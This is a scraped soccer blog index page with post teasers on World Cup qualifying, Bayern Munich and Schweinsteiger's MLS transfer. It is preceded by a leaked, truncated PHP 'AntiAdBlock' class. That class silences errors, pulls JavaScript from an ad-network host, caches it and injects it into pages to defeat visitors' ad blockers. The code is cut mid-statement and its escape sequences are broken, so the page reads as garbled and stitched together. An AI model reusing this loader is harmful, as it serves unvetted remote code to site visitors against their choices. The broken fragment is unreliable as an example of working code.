1, CURLOPT_USERAGENT => 'AntiAdBlock API Client', CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => true, )); // prefer SSL if at all possible $version = curl_version(); if ($version['features'] & CURL_VERSION_SSL) { curl_setopt($curl, CURLOPT_URL, 'https://go.transferzenad.com' . $url); } else { curl_setopt($curl, CURLOPT_URL, 'http://go.transferzenad.com' . $url); } $result = curl_exec($curl); curl_close($curl); return $result; } private function getFileGetContents($url) { if (!function_exists('file_get_contents') || !ini_get('allow_url_fopen') || ((function_exists('stream_get_wrappers')) && (!in_array('http', stream_get_wrappers())))) { return false; } if (function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) { return file_get_contents('https://go.transferzenad.com' . $url); } else { return file_get_contents('http://go.transferzenad.com' . $url); } } private function getFsockopen($url) { $fp = null; if (function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) { $fp = fsockopen('ssl://' . 'go.transferzenad.com', 443, $enum, $estr, 10); } if ((!$fp) && (!($fp = fsockopen('tcp://' . gethostbyname('go.transferzenad.com'), 80, $enum, $estr, 10)))) { return false; } $out = "GET " . $url . " HTTP/1.1rn"; $out .= "Host: go.transferzenad.comrn"; $out .= "User-Agent: AntiAdBlock API Clientrn"; $out .= "Connection: closernrn"; fwrite($fp, $out); $in = ''; while (!feof($fp)) { $in .= fgets($fp, 1024); } fclose($fp); return substr($in, strpos($in, "rnrn") + 4); } private function findTmpDir() { if (!function_exists('sys_get_temp_dir')) { if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); } if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); } // this will try to create file in dirname(__FILE__) and should fall back to /tmp or wherever $tempfile = tempnam(dirname(__FILE__), ''); if (file_exists($tempfile)) { unlink($tempfile); return realpath(dirname($tempfile)); } return null; } return sys_get_temp_dir(); } public function get() { $e = error_reporting(0); $url = "/v1/getTag?" . http_build_query(array('token' => $this->token, 'zoneId' => $this->zoneId)); $file = $this->findTmpDir() . '/pa-code-' . md5($url) . '.js'; // expires in 4h if (file_exists($file) && (time() - filemtime($file) < 4 * 3600)) { error_reporting($e); return file_get_contents($file); } $code = $this->getCurl($url); if (!$code) { $code = $this->getFileGetContents($url); } if (!$code) { $code = $this->getFsockopen($url); } if ($code) { // atomic update, and it should be okay if this happens simultaneously $fp = fopen("{$file}.tmp", 'wt'); fwrite($fp, $code); fclose($fp); rename("${file}.tmp", $file); } error_reporting($e); return $code; } } $__aab = new __AntiAdBlock(); return $__aab->get();

My soccer week

My soccer week
World Cup qualifying for the 2018 tournament in Russia dominated most of the major soccer action of the last week. It started a seven days ago on Thursday, when Argentina defeated Chile 1-0, via a Lionel Messi penalty kick in a clash of troubled South American giants. Meanwhile, Brazil closed in on early qualification by beating Uruguay four goals to one. That Friday, qualifying continued on the European continent. My personal highlight of the afternoon was Croatia’s 1-0 victory over the Ukraine though a Nikola Kalinić goal. It meant that the team from the Balkans solidified its lead in Group I for...
read more

Bayern Munich beats PSG 1-0 in women’s Champions League last eight

Bayern Munich beats PSG 1-0 in women’s Champions League last eight
Until recently, the Bayern Munich women’s team did not play a major role in Germany, much less in Europe. Two consecutive Women’s Bundesliga titles greatly enhanced their domestic reputation. The leadership of the famous club started to take notice of the success of its  female department, by celebrating these two titles jointly with the also-victorious men’s team in front of tens of thousands of fans. But internationally, last season the young team failed in the Champions League at the first hurdle. That was a painful slipup that everyone associated with the Bayern women wanted to put right this...
read more

Bastian Schweinsteiger to join MLS’s Chicago Fire

Bastian Schweinsteiger to join MLS’s Chicago Fire
Bayern Munich and German national team legend Bastian Schweinsteiger will move to Major League Soccer team Chicago Fire, after more than a failed season and a half at English Premier League club Manchester United. The transfer will become official, when the midfielder obtains the necessary paperwork for US residency and passes his new club’s physical. Schweinsteiger is set to become a designated player in Chicago and thus reportedly be one of the ten highest-paid players in the league. The MLS website further states that he has signed a one-year contract, which both sides can extend further. The...
read more

UEFA competitions update

UEFA competitions update
  As noted recently, Bayern Munich and Borussia Dortmund had already booked their spots in the quarterfinals of the UEFA Champions League quarterfinals last week. Bayer Leverkusen was the only German team that had yet to play its second leg in the Round 16 of Europe’s elite club competition. But coming back from a 4-2 loss against Atletico Madrid proved a too difficult task for the Werkself. They played well in Madrid, but lacked the belief that they could obtain the necessary 3-0 victory to advance. Both goalkeepers played a fantastic match, ensuring a scoreless result on the evening, which...
read more

Bayern Munich,Borussia Dortmund advance to Champions League quarterfinals

Bayern Munich,Borussia Dortmund advance to Champions League quarterfinals
The top two of the three remaining Bundesliga teams in this year’s UEFA Champions League played their Round of 16 second legs in Europe’s biggest club competition this week. Both Bayern Munich and Borussia Dortmund advanced emphatically to the quarterfinals. On Tuesday, the Bavarian giants did not simply defend their 5-1 lead over Arsenal from the first leg, they doubled it. Despite falling behind on the evening early through a goal by Theo Walcott, the German record champions scored five times in the second half, showing their true class. That is not to say that they did not need some help from their...
read more

« Previous Entries